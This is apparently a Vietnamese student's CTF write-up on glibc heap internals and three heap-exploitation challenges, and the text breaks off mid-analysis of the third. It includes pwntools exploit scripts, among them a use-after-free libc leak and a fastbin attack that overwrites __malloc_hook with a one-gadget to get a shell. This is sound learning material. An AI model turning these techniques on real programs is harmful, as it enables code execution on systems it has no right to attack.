Leak Libc address using Small, large and unsorted bin
source: [[1]](https://book.hacktricks.xyz/binary-exploitation/libc-heap)
```
Task 3: tìm hiểu về heap. Trình bày lại rõ cấu trúc của 1 chunk trong heap và cấu trúc khi free thành fastbin và tcache. Clear hết các chal.
```
## Heap
## Cấu trúc của 1 chunk trong heap
Cấu trúc của 1 chunk trong heap có thể được mô tả thông qua hình sau:

:::info
- Phần PREV_SIZE: Kích thước của chunk trước đó, chỉ tồn tại khi chunk trước đó đã free. Khi chunk được cấp phát, chunk này sẽ không được sử dụng. Kích thước của nó (nếu tồn tại) sẽ là 8 bytes trên hệ 64-bit.
- Phần CHUNK_SIZE và các flags: Phần này là phần header của chunk, thường chiếm **0x10** bytes trong x64 system, với x86 system thì con số này sẽ là **0x8** bytes.
- Phần CHUNK_SIZE là size của cả chunk (bao gồm cả header)
- Phần flags: 3 bit đầu tiên, nếu được set thì sẽ dùng để mô tả các thông tin tương ứng về chunk hiện tại:
- P(byte 0x1) - Previous in use: Chunk trước đó trong bộ nhớ đang được sử dụng.
- M(byte 0x2) - Chunk được cấp phát với mmap() và không thuộc heap.
- A(byte 0x4) - Chunk được lấy từ bên ngoài main arena.
> Main arena là vùng bộ nhớ mặc định đầu tiên được tạo bởi glibc khi chương trình bắt đầu và khi chỉ có 1 luồng thì mọi hoạt động malloc và free đều được thực hiện ở đây.
- Phần DATA: Chứa dữ liệu của người dùng.
:::
Ví dụ với đoạn chương trình sau:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Kiểm tra các thông tin của heap sẽ cho ta:
```tex=
0x0: 0x00 - Previous Chunk Size
0x8: 0x21 - Chunk Size
0x10: "pada" - Content of chunk
```
Ở đây chunk này khởi tạo lần đầu nên previous chunk size sẽ không được khởi tạo. Chunk size sẽ là **0x21** vì bao gồm thêm **0x10** phần heap header và **0x1** của flag. Và cuối cùng là data của chúng ta: "panda".
## Cấu trúc khi free thành fastbin và tcache
### 1. Fastbin
- Fastbin là 1 tập hợp các danh sách liên kết đơn, được thiết kế để tăng tốc độ cấp phát bộ nhớ cho các chunk nhỏ.
- Ở hệ thống 64 bit, fastbin được chia làm 7 phân vùng, lần lượt từ **0x20, 0x30** đến **0x80**.
- Vì fastbin được tổ chức theo cấu trúc danh sách liên kết đơn, nên header của 1 chunk sẽ chứa con trỏ tới địa chỉ của chunk tiếp theo
### 2. Tcache (Per-Thread Cache) Bins
- Tcache là một cơ chế bộ nhớ đệm được giới thiệu từ phiên bản glibc 2.26 để tối ưu hóa việc quản lý bộ nhớ cho các ứng dụng đa luồng. Tổng cộng có 64 tcache bins. Mỗi tcache bin lại có tối đa 7 chunks cùng size, trải từ **0x20 đến 0x410**
- Tcache bin cũng giống như fastbin, cũng tổ chức theo cấu trúc danh sách liên kết đơn nên
## Challenge
### 1. part1/heap1/pwn1_ff
:::info
Challenge cho ta một file binary và thư viện libc 2.23.
:::
Patch thư viện với file binary và decompile bằng IDA:
Hàm main sẽ như sau:
```c=
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_400C25(a1, a2, a3);
puts("Ez heap challange !");
while ( 1 )
{
while ( 1 )
{
sub_400C76();
v3 = sub_400A53();
if ( v3 != 2 )
break;
sub_400B67();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
exit(0);
if ( v3 == 4 )
sub_4009AA();
else
LABEL_13:
puts("no option");
}
else
{
if ( v3 != 1 )
goto LABEL_13;
sub_400AA2();
}
}
}
```
Đầu tiên với hàm **sub_400C76()**, nó chỉ in ra một menu.
```c=
__int64 sub_400C76()
{
puts("1: create heap");
puts("2: delete heap");
puts("3: exit");
puts(">");
return 0LL;
}
```
Hàm tiếp theo: **sub_400A53()** cho ta nhập vào lựa chọn. Ta sẽ đi từng lựa chọn một tương ứng với thứ tự của menu.
Với lựa chọn 1: Tạo heap
```c=
__int64 sub_400AA2()
{
int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
void **size_4; // [rsp+10h] [rbp-10h]
for ( i = 0; i <= 8 && *(&ptr + i); ++i )
;
printf("Input size:");
size = sub_400A53();
if ( size > 0x1000 )
exit(0);
size_4 = (void **)malloc(0x10uLL);
*size_4 = malloc(size);
*(&ptr + i) = size_4;
printf("Input data:");
sub_4009E8(*size_4, size);
return 0LL;
}
```
Con trỏ **ptr** có vẻ là một array nào đó, và nó sẽ lưu trữ địa chỉ của con trỏ trỏ tới vùng malloc kích thước **size** được nhập vào. Mỗi con trỏ sẽ có kích thước 0x10 hay 16 bytes.
Hàm **sub_4009E8()** chỉ làm nhiệm vụ loại bỏ phần tử **\n** ở cuối chunk vừa được tạo
Với lựa chọn thứ 2: Xóa heap
```c=
__int64 sub_400B67()
{
int v1; // [rsp+4h] [rbp-Ch]
void *ptr; // [rsp+8h] [rbp-8h]
printf("Input index:");
v1 = sub_400A53();
if ( (unsigned int)v1 >= 10 )
exit(0);
if ( *(&::ptr + v1) )
{
ptr = *(void **)*(&::ptr + v1);
free(*(&::ptr + v1));
free(ptr);
*(_QWORD *)*(&::ptr + v1) = 0LL;
*(&::ptr + v1) = 0LL;
puts("Done ");
}
return 0LL;
}
```
v1 sẽ là offset của chunk cần xóa tính từ đầu mảng **ptr**, nằm trong khoảng 0 đến 9. Sau đó nó sẽ check xem có tồn tại con trỏ trỏ đến chunk cần xóa hay không. Nếu có, nó sẽ free chunk có chứa **địa chỉ con trỏ trỏ tới vùng chunk chứa data**, và chunk có chứa data, rồi sau đó set 0 cho 8 bytes đầu của phần data được trỏ bởi **ptr+v1** và set 0 cho con trỏ đó.
Với lựa chọn thứ 3: Chỉ là exit thoát chương trình
Với lựa chọn thứ 4: Tuy không có hiển thị trên menu, nhưng khi decompile ta lại thấy có lựa chọn thứ 4:
```c=
__int64 sub_4009AA()
{
if ( !qword_6020F0 )
return 0LL;
if ( *(_QWORD *)(qword_6020F0 + 8) == 0xABCDEFLL )
sub_400916();
return 0LL;
}
```
nó sẽ kiểm tra xem 8 bytes đầu của địa chỉ **0x6020F0** có khác không hay không. Nếu có thì nó kiểm tra tiếp 8 bytes tiếp theo có bằng **0xABCDEF** không. Nếu có thì nó gọi hàm **sub_400916()**:
```c=
__int64 sub_400916()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("/home/uss/Desktop/flag", 0);
if ( fd < 0 )
printf("no flag file. Ask manager for help !");
read(fd, buf, 0x64uLL);
puts(buf);
close(fd);
return 1LL;
}
```
Hàm này sẽ read file flag ở đường dẫn và in ra cho ta. Vậy đây chính là target ta cần hướng đến.
Vậy nhiệm vụ của ta là làm thay đổi **qword_6020F0**. Nếu click vào ta sẽ thấy:

Biến ta cần thay đổi nằm ở offset thứ 3 của **ptr**, nên ta cần malloc 2 lần và lần thứ 3 sẽ là dữ liệu cần gọi đến để gọi flag.
Nếu ta đơn giản là malloc 2 lần và lần 3 là dữ liệu của ta, sau đó chọn 4 để thử gọi hàm flag thì chương trình sẽ không in gì cho ta cả vì mình nghĩ khi đó con trỏ của **ptr** lúc đó chưa trỏ đến ở đầu chunk của dữ liệu của ta nên khi đó giá trị so sánh sẽ khác.
Debug bằng gdb:
Hình ảnh chunk khi ta khởi tạo đến index 2(bắt đầu từ 0)


Sau khi free:

Rồi giờ ta chỉ cần malloc lại lần nữa với kích thước trước đó ta đã malloc rồi call hàm gọi flag là ta có thể lấy được flag.
Script:
```python=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn1_ff_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
input()
# good luck pwning :)
log.info(r.recvuntil(b'>\n'))
r.sendline(b'1')
log.info(r.recv())
r.sendline(b'5')
log.info(r.recv())
r.sendline(b'1')
log.info(r.recvuntil(b'>\n'))
r.sendline(b'1')
log.info(r.recv())
r.sendline(b'10')
log.info(r.recv())
r.sendline(b'1')
log.info(r.recvuntil(b'>\n'))
r.sendline(b'1')
log.info(r.recv())
r.sendline(b'16')
log.info(r.recv())
r.sendline(p64(0x1)+p64(0xabcdef))
log.info(r.recvuntil(b'>\n'))
r.sendline(b'2')
log.info(r.recv())
r.sendline(b'2')
log.info(r.recvuntil(b'>\n'))
r.sendline(b'1')
log.info(r.recv())
r.sendline(b'16')
log.info(r.recv())
r.send(b'1')
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả:

### 2. part1/heap2/pwn2_df
Chal pwn2 khá giống với cấu trúc của pwn1. Nhưng lại không có hàm để gọi flag nên buộc ta phải lấy shell
Cấu trúc của hàm main:
```c=
int __fastcall main(int argc, const char **argv, const char **envp)
{
initState(argc, argv, envp);
puts("Ez heap challange !");
while ( 1 )
{
menu();
switch ( (unsigned int)readInt() )
{
case 1u:
createHeap();
break;
case 2u:
showHeap();
break;
case 3u:
editHeap();
break;
case 4u:
deleteHeap(0LL);
break;
case 5u:
exit(0);
default:
puts("no option");
break;
}
}
}
```
Hàm **createHeap()**
```c=
__int64 createHeap()
{
signed int Int; // [rsp+8h] [rbp-8h]
unsigned int size; // [rsp+Ch] [rbp-4h]
printf("Index:");
Int = readInt();
if ( (unsigned int)Int >= 0xA )
exit(0);
printf("Input size:");
size = readInt();
if ( size > 0x1000 )
exit(0);
store[Int] = malloc(size);
storeSize[Int] = size;
printf("Input data:");
readStr(store[Int], size);
puts("Done");
return 0LL;
}
```
Vẫn là quy tắc không vượt quá 10 chunks được allocate và size không quá 0x1000.
Hàm **showHeap()**
```c=
__int64 showHeap()
{
unsigned int Int; // [rsp+Ch] [rbp-4h]
printf("Index:");
Int = readInt();
if ( Int >= 0xA )
exit(0);
if ( store[Int] )
printf("Data = %s\n", (const char *)store[Int]);
return 0LL;
}
```
Không có gì thay đổi.
Hàm **editHeap()**
```c=
__int64 editHeap()
{
unsigned int Int; // [rsp+Ch] [rbp-4h]
printf("Input index:");
Int = readInt();
if ( Int >= 0xA )
exit(0);
if ( store[Int] )
{
readStr(store[Int], (unsigned int)storeSize[Int]);
puts("Done ");
}
return 0LL;
}
```
Hàm cho chỉnh sửa data của chunk, không có lỗi overflow ở đây
Hàm **deleteHeap()**
```c=
__int64 deleteHeap()
{
unsigned int Int; // [rsp+Ch] [rbp-4h]
printf("Input index:");
Int = readInt();
if ( Int >= 0xA )
exit(0);
if ( store[Int] )
{
free((void *)store[Int]);
puts("Done ");
}
return 0LL;
}
```
Hàm này xảy ra lỗi không set 0 đến con trỏ tới chunk sau khi free chunk, nên ta có bug Use-After-Free ở đây.
Kiểm tra security:
- Của file binary:

Vậy là ta không thể thay đổi GOT và địa chỉ libc cũng là dynamic
- Của libc:

Cũng khá là tương tự khi các địa chỉ đều là địa chỉ động.
Vậy trước tiên ta hãy thử khai thác địa chỉ libc, từ đó ta có thể nghĩ đến hướng làm hơn.
#### Leak địa chỉ libc.
Vì hàm **deleteHeap()** không set 0 cho con trỏ tới chunk, nên ta có thể dùng Unsorted Bin để leak địa chỉ libc. Cơ chế sẽ như sau:

Khi Unsorted Bin chỉ có 1 chunk, thì con trỏ **fwd** và **bk** sẽ trỏ tới địa chỉ của **main_areana**, nên ta có thể lợi dụng để leak địa chỉ libc.
Vì cơ chế Top chunk consolidation, ta cần 1 chunk nhỏ ở trước chunk ta free để có thể ngăn ngừa việc bị merge chunk
:::info
Chunk Consolidation là một cách để heap quản lý bộ nhớ, tránh bị dư thừa khi bộ nhớ đủ dung lượng nhưng lại bị phân mảnh, gây ra việc không thể cấp phát.
:::
Đầu tiên ta sẽ cấp phát 2 chunk

Chunk đầu tiên sẽ là chunk sẽ được free và đưa vào unsorted bin. Chunk thứ hai sẽ ngăn ngừa việc merge với top chunk. Kiểm tra sau khi free:


Vậy địa chỉ bị leak ra như trên ảnh. Giờ ta sẽ tính offset của nó so với libc.


Offset của leak so với base là **0x39bb78**.
Giờ ta đã có libc base. Mình đã tìm hiểu và tìm được [thứ này](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)
Challenge này sử dụng kĩ thuật fastbin attack dùng để ghi đè địa chỉ one gadget lên **__malloc_hook**.
:::info
Fastbin sử dụng danh sách liên kết đơn để lưu trữ các chunk được free. Mỗi chunk trong fastbin sẽ mang con trỏ fd, trỏ tới địa chỉ chunk trước đó của nó. Ta có thể chỉnh sửa freed chunk trong đó bằng cách cho nó trỏ tới 1 địa chỉ nào đó để rồi khi ta malloc lại với kích thước bằng với kích thước của freed chunk trong fastbin, lúc đó chunk được malloc ra sẽ mang địa chỉ của ta cần. Xem thêm ở [đây](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html)
**__malloc_hook** là một symbol trong libc. Hiểu nôm na là khi gọi lệnh malloc, nó sẽ gọi đến **__malloc_hook** trước rồi mới thực hiện việc cấp phát. Nếu check giá trị **__malloc_hook** là NULL, bộ nhớ sẽ thực hiện việc cấp phát. Trước khi gọi malloc, ta có thể thay đổi giá trị của **__malloc_hook** để khi gọi malloc, nó sẽ chuyển hướng luồng thực thi cho ta như mong muốn, trong trường hợp này sẽ là thực hiện one gadget.
:::
Vậy ta sẽ làm thay đổi địa chỉ của con trỏ fd, cho nó trỏ tới một fake chunk nào đó có chứa đoạn **__malloc_hook**, rồi sau đó ta có thể tùy ý điều chỉnh giá trị của **__malloc_hook**.
#### Tìm fake chunk.
Vì ta đã có base của libc, ta có thể check và tìm fake chunk trong gdb.
Câu lệnh python để tìm địa chỉ của **__malloc_hook**


Check trong gdb:

Vậy là ta đã tìm được fake chunk
#### Thay đổi fastbin.
Bởi vì fastbin có chia thứ tự kích thước khác chunk, nên nếu fake chunk của ta có kích thước khác so với kích thước fastbin quy định, thì việc đưa vào fastbin sẽ gây ra lỗi Incorrect index. Ví dụ như nếu ta chỉ đơn giản là đưa địa chỉ của fake chunk ta tìm thấy ở trên, thì fastbin sẽ lỗi và ta không thể malloc chunk ta cần ra được
Ví dụ như sau: Sau khi đưa 1 số chunk vào fastbin, ta tiến hành chỉnh sửa

Check thử trong fastbin:

Fake chunk của ta có kích thước 0x0, sai index nhưng lại được free vào index thứ 5, nên sẽ bị lỗi index. Bởi vì fastbin sẽ tính index của chunk ta đưa vào như ở [đây](https://github.com/shellphish/how2heap/issues/71)
Nên vì vậy ta cần chọn kích thước phù hợp. Sau khi thử (rất nhiều lần), mình thấy có địa chỉ fake chunk bắt đầu từ **libc.sym['__malloc_hook'] - 35** là có kích thước khi đưa vào fastbin là 0x78, vẫn đảm bảo đúng range của index thứ 5.



(Phần corrupted chunk sẽ cho ta biết các chunk bắt đầu từ địa chỉ nào sẽ không còn sử dụng để malloc được nữa).
Giờ ta cần ghi đè giá trị tại địa chỉ của **__malloc_hook** với one gadget là oke.
One gadget:

Có khá nhiều gadget dùng được nhưng mình chọn **0xd94b1** vì nó chỉ liên quan đến **rdx** và **r9**. Những thằng còn lại mình thấy đều liên **rsi, rax, ...** - những thanh ghi khó mà NULL được trong quá trình thực thi.
Giờ đã có one gadget, ta sẽ ghi đè vào **__malloc_hook**. Bởi vì fastbin hoạt động theo cơ chế LIFO, nên mình sẽ cho chunk cuối ở trong fastbin mang địa chỉ đó (như đoạn edit ở trên mình trình bày) và chunk gần cuối sẽ trỏ tới địa chỉ đó.

Padding sẽ là **b'A'\*19** vì trước đó mình thử padding với các kích thước khác nhau và check dần. Nhưng tìm được số chính xác rồi mình nghĩ do đoạn sau là p64, có 16 bytes nên cần padding thêm 19 bytes nữa nên mới đủ 35 bytes, vừa đủ kích thước của fake chunk.
Kiểm tra bằng gdb:


Trông có vẻ đã thành công ghi đè. Vậy giờ ta chỉ cần gọi lại malloc lần nữa thì ta sẽ có được shell.
#### Script.
```c=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn2_df_patched")
libc = ELF("./libc6-amd64_2.23-0ubuntu11.3_i386.so")
ld = ELF("./ld-2.23.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
oneG_offset = 0xd94b1
# good luck pwning :)
###########################
#Ez heap challange !
# 1: create heap
# 2: show heap
# 3: edit heap
# 4: delete heap
# 5: exit
# >
##########################
## Leak dia chi libc
def create_heap(index, size, data):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index:', str(index).encode())
r.sendlineafter(b'size:', str(size).encode())
r.sendlineafter(b'data:', data)
def delete_heap(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'index:', str(index).encode())
def show_heap(index):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'Index:', str(index).encode())
def edit_heap(index, data):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'index:', str(index).encode())
r.sendline(data)
input()
create_heap(0, 300, 'A')
# Ngan khong cho chunk free bi merge voi top chunk
create_heap(1, 20, 'A')
# Xoa chunk
delete_heap(0)
show_heap(0)
r.recvuntil(b'Data = ')
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x39bb78
info("Libc leak: " + hex(libc_leak))
info("Libc address: " + hex(libc.address))
# pause()
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'index:', b'1')
# Fastbin attack
for i in range(2,7):
create_heap(i, 100, b'A')
for i in range(2,7):
delete_heap(i)
pause()
info("Malloc hook: " + hex(libc.sym['__malloc_hook']))
# Cho con tro fd tro toi __malloc_hook
edit_heap(6, p64(libc.sym['__malloc_hook'] - 35))
pause()
# Ghi de len malloc hook
create_heap(0, 100, b'AA')
pause()
create_heap(1, 100, b'A'*19 + p64(libc.address + oneG_offset))
pause()
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Index:', b'1')
r.sendlineafter(b'size:', b'100')
# pause()
r.interactive()
if __name__ == "__main__":
main()
```
Kết quả:

### 3. part1/heap3/pwn3_uaf
Challenge 3 có cấu trúc khác so với 1 và 2 khi mà cho người dùng đăng kí và chuyển tiền trên hệ thống:


Decompile hàm **main()**:
```c=
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-24h]
const char **v5; // [rsp+18h] [rbp-18h]
char buf[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
sub_4009B6(a1, a2, a3);
sub_400AA4();
v4 = 0;
v5 = 0LL;
while ( 1 )
{
puts("------------------------------------------------");
puts(" 1: register user");
puts(" 2: login user");
puts(" 3: exit");
puts("------------------------------------------------");
puts("which command?");
printf("> ");
read(0, buf, 4uLL);
v3 = atoi(buf);
switch ( v3 )
{
case 2:
v5 = (const char **)sub_400D92();
if ( v5 )
{
printf("[+] Welcome to EasyCoin, %s\n\n", *v5);
v4 = 1;
}
break;
case 3:
exit(0);
case 1:
sub_400B0F();
break;
default:
puts("[-] Invalid command!");
break;
}
while ( v4 )
{
puts("------------------------------------------------");
puts(" 1: display user info");
puts(" 2: send coin");
puts(" 3: display transaction");
puts(" 4: change password");
puts(" 5: delete this user");
puts(" 6: logout");
puts("------------------------------------------------");
puts("which command?");
printf("> ");
read(0, buf, 4uLL);
switch ( buf[0] )
{
case '1':
sub_400EAE(v5);
break;
case '2':
sub_400FAB(v5);
break;
case '3':
sub_400EE2(v5);
break;
case '4':
sub_401372(v5);
break;
case '5':
sub_4013C8(v5);
v4 = 0;
break;
case '6':
v4 = 0;
break;
default:
printf("[-] Unknown Command: ");
printf(buf);
break;
}
}
}
}
```
#### 1. Phân tích challenge
Vì thế này sẽ khó để hiểu được cách chương trình hoạt động nên mình sẽ thay đổi tên các hàm một chút:
```c=
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-24h]
const char **username; // [rsp+18h] [rbp-18h]
char idx[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
init_buf(a1, a2, a3);
banner();
v4 = 0;
username = 0LL;
while ( 1 )
{
puts("------------------------------------------------");
puts(" 1: register user");
puts(" 2: login user");
puts(" 3: exit");
puts("------------------------------------------------");
puts("which command?");
printf("> ");
read(0, idx, 4uLL);
v3 = atoi(idx);
switch ( v3 )
{
case 2:
username = (const char **)login();
if ( username )
{
printf("[+] Welcome to EasyCoin, %s\n\n", *username);
v4 = 1;
}
break;
case 3:
exit(0);
case 1:
register();
break;
default:
puts("[-] Invalid command!");
break;
}
while ( v4 )
{
puts("------------------------------------------------");
puts(" 1: display user info");
puts(" 2: send coin");
puts(" 3: display transaction");
puts(" 4: change password");
puts(" 5: delete this user");
puts(" 6: logout");
puts("------------------------------------------------");
puts("which command?");
printf("> ");
read(0, idx, 4uLL);
switch ( idx[0] )
{
case '1':
info(username);
break;
case '2':
send(username);
break;
case '3':
transactionInfo(username);
break;
case '4':
changePassword(username);
break;
case '5':
deleteUser(username);
v4 = 0;
break;
case '6':
v4 = 0;
break;
default:
printf("[-] Unknown Command: ");
printf(idx);
break;
}
}
}
}
```
#### 1.1 Đăng nhập/đăng kí
Hàm **register()**:
```c=
__int64 register()
{
void **v1; // rbx
__int64 v2; // rbx
int userIndex; // [rsp+4h] [rbp-4Ch]
int index; // [rsp+8h] [rbp-48h]
int i; // [rsp+Ch] [rbp-44h]
char userName[40]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-18h]
v7 = __readfsqword(0x28u);
userIndex = -1;
printf("Please input username\n> ");
modifyString(userName, 31LL);
for ( index = 0; index <= 4; ++index )
{
if ( *(&Users + index) && !strcmp(*(const char **)*(&Users + index), userName) )
{
puts("[-] This user already registerd");
return 1LL;
}
}
for ( i = 0; i <= 4; ++i )
{
if ( !*(&Users + i) )
{
userIndex = i;
break;
}
}
if ( userIndex == -1 )
{
puts("[-] User Registration is over");
exit(0);
}
*(&Users + userIndex) = malloc(0x20uLL);
v1 = (void **)*(&Users + userIndex);
*v1 = malloc(0x20uLL);
v2 = (__int64)*(&Users + userIndex);
*(_QWORD *)(v2 + 8) = malloc(0x20uLL);
*((_QWORD *)*(&Users + userIndex) + 2) = 0x3B9ACA00LL;
*((_QWORD *)*(&Users + userIndex) + 3) = 0LL;
strncpy(*(char **)*(&Users + userIndex), userName, 0x1FuLL);
printf("Please input password\n> ");
modifyString(*((_QWORD *)*(&Users + userIndex) + 1), 31LL);
printf("Verify input password\n> ");
modifyString(userName, 31LL);
if ( !strcmp(*((const char **)*(&Users + userIndex) + 1), userName) )
{
puts("[+] Registration success");
}
else
{
puts("[-] Password confirmation failed");
free(*(void **)*(&Users + userIndex));
free(*((void **)*(&Users + userIndex) + 1));
free(*(&Users + userIndex));
*(&Users + userIndex) = 0LL;
}
return 0LL;
}
```
Nó cho tạo tối đa 5 user, tối đa cho username và password đều là 31 kí tự, sau khi check xem user ấy có tồn tại hay không thì nó malloc ra 3 chunk có kích thước đều bằng **0x20 + 0x10(metadata) = 0x30**. Chunk thứ nhất sẽ dùng để lưu số dư tài khoản, ở đây mình để dưới dạng hexa sẽ là **0x3B9ACA00** tương ứng với **10^9** và một giá trị 0 nào đó mình vẫn chưa có thông tin gì. Với chunk thứ hai, nó dùng để lưu trữ username, chunk thứ 3 sẽ dùng để lưu trữ password.
Check trong gdb:


Ta có thể thấy ở **heap + 0x10** sẽ lưu địa chỉ của username và password, tiếp theo là số dư và con số **0** chưa biết. Ở **heap + 0x40** là username (mình đặt là user1) và ở **heap + 0x70** là user's password (**AAAAAA**).
Hàm **login()** có vẻ không có gì đặc biệt, chỉ là check user đó có tồn tại và login vào hệ thống:
```c=
__int64 sub_400D92()
{
int i; // [rsp+4h] [rbp-3Ch]
char s2[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Please input username\n> ");
modifyString(s2, 31LL);
for ( i = 0; ; ++i )
{
if ( i > 4 )
{
puts("[-] This user is not registered");
return 0LL;
}
if ( *(&Users + i) && !strcmp(*(const char **)*(&Users + i), s2) )
break;
}
printf("Please input password\n> ");
modifyString(s2, 31LL);
if ( !strcmp(*((const char **)*(&Users + i) + 1), s2) )
return (__int64)*(&Users + i);
puts("[-] Password error");
return 0LL;
}
```
#### 1.2. Hệ thống chuyển tiền.
Hàm **info()**:
```c=
__int64 __fastcall info(__int64 User)
{
printf("[+] username: %s, money: %ld\n", *(const char **)User, *(_QWORD *)(User + 16));
return 0LL;
}
```
Nó in ra tên user và số tiền user đó đang có.
Hàm **send()** sau khi đổi lại tên một số biến:
```c=
__int64 __fastcall send(__int64 sender)
{
int i; // [rsp+18h] [rbp-58h]
int amount; // [rsp+1Ch] [rbp-54h]
_QWORD *j; // [rsp+20h] [rbp-50h]
_QWORD *k; // [rsp+20h] [rbp-50h]
__int64 receiver; // [rsp+28h] [rbp-48h]
_QWORD *sender_chunk; // [rsp+30h] [rbp-40h]
_QWORD *receiver_chunk; // [rsp+38h] [rbp-38h]
char recv[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v10; // [rsp+68h] [rbp-8h]
v10 = __readfsqword(0x28u);
if ( (unsigned __int64)transaction_id > 0x64 )
{
puts("[-] Transaction is over");
exit(1);
}
printf("What user do you send to?\n> ");
modifyString(recv, 31);
for ( i = 0; ; ++i )
{
if ( i > 4 )
{
puts("[-] This user is not registered");
return 1LL;
}
if ( *(&Users + i) && !strcmp(*(const char **)*(&Users + i), recv) )
break;
}
receiver = (__int64)*(&Users + i);
printf("Hom many?\n> ");
read(0, recv, 0x14uLL);
amount = atol(recv);
if ( amount > 0 && *(_QWORD *)(sender + 16) - amount >= 0LL )
{
receiver_chunk = malloc(0x28uLL);
*receiver_chunk = 0LL;
receiver_chunk[1] = sender;
receiver_chunk[4] = amount;
receiver_chunk[2] = transaction_id;
receiver_chunk[3] = 1LL;
*(_QWORD *)(receiver + 16) += amount;
if ( *(_QWORD *)(receiver + 24) )
{
for ( j = *(_QWORD **)(receiver + 24); *j; j = (_QWORD *)*j )
;
*j = receiver_chunk;
}
else
{
*(_QWORD *)(receiver + 24) = receiver_chunk;
}
sender_chunk = malloc(0x28uLL);
*sender_chunk = 0LL;
sender_chunk[1] = receiver;
sender_chunk[4] = amount;
sender_chunk[2] = transaction_id;
sender_chunk[3] = 0LL;
*(_QWORD *)(sender + 16) -= amount;
++transaction_id;
if ( *(_QWORD *)(sender + 24) )
{
for ( k = *(_QWORD **)(sender + 24); *k; k = (_QWORD *)*k )
;
*k = sender_chunk;
}
else
{
*(_QWORD *)(sender + 24) = sender_chunk;
}
puts("[+] Transaction success");
return 0LL;
}
else
{
puts("[-] Can't execute this transaction");
return 1LL;
}
}
```
Hàm send cho chuyển đổi tiền giữa các user. Đầu tiên nó check xem có user nào tồn tại với username nhập vào hay không, nhưng nó lại không check xem người gửi có đang tự gửi cho chính mình không. Tiếp theo, nếu có tồn tại người gửi, nó tạo ra 2 chunk với chunk được tạo trước sẽ là của người nhận (có thể thấy ở **sender + 16** sẽ bị trừ còn **receiver + 16** sẽ được cộng tiền). Khi đó cấu trúc sẽ theo thứ tự **[1]** sẽ lưu trữ địa chỉ của người nhận hoặc người gửi, **[2]** sẽ lưu id của hóa đơn chuyển, về sau sẽ được tăng thêm sau mỗi lần chuyển(**++transaction_id**). **[3]** sẽ lưu một chỉ số để xác định nó là của người gửi(1) còn người nhận là (0)
Kiểm tra cấu trúc trong gdb:

Dưới user2 đã được malloc thêm 2 chunk.

Ở địa chỉ **heap + 0x130** sẽ là nơi bắt đầu của user1, mang chỉ số 1 (ở địa chỉ **heap + 0x140**). Ở **heap + 0x150** sẽ là số tiền được gửi, tương ứng với **sender[4]** đã nói ở trên. Ở các địa chỉ còn lại tương tự là của receiver **user2**.
Hàm **transactionInfo()**:
```c=
__int64 __fastcall transactionInfo(__int64 a1)
{
__int64 **userinfo; // [rsp+18h] [rbp-8h]
if ( *(_QWORD *)(a1 + 24) )
{
for ( userinfo = *(__int64 ***)(a1 + 24); ; userinfo = (__int64 **)*userinfo )
{
if ( userinfo[3] )
printf("[+] id: %lu, recieve from %s, value: %ld\n", userinfo[2], (const char *)*userinfo[1], userinfo[4]);
else
printf("[+] id: %lu, send to %s, value: %ld\n", userinfo[2], (const char *)*userinfo[1], userinfo[4]);
if ( !*userinfo )
break;
}
}
else
{
puts("[-] No transaction");
}
return 0LL;
}
```
Nó in ra id, nhận/gửi tùy thuộc vào user cần check và số lượng coin đã gửi/nhận:


Hàm **changePassword()** làm nhiệm vụ thay đổi password:
```c=
char *__fastcall changePassword(__int64 a1)
{
printf("Please input password\n> ");
return modifyString(*(char **)(a1 + 8), 31);
}
```
Hàm **deleteUser()**:
```c=
__int64 __fastcall deleteUser(void **deletedUser)
{
int v2; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
_QWORD *UserTransaction; // [rsp+20h] [rbp-10h]
_QWORD *UserPtr; // [rsp+28h] [rbp-8h]
v2 = -1;
for ( i = 0; i <= 4; ++i )
{
if ( *(&Users + i) == deletedUser )
{
v2 = i;
break;
}
}
free(*deletedUser);
free(deletedUser[1]);
if ( deletedUser[3] )
{
UserTransaction = deletedUser[3];
while ( 1 )
{
deleteTransaction(UserTransaction[1], (unsigned int)UserTransaction[2]);
if ( !*UserTransaction )
break;
UserPtr = UserTransaction;
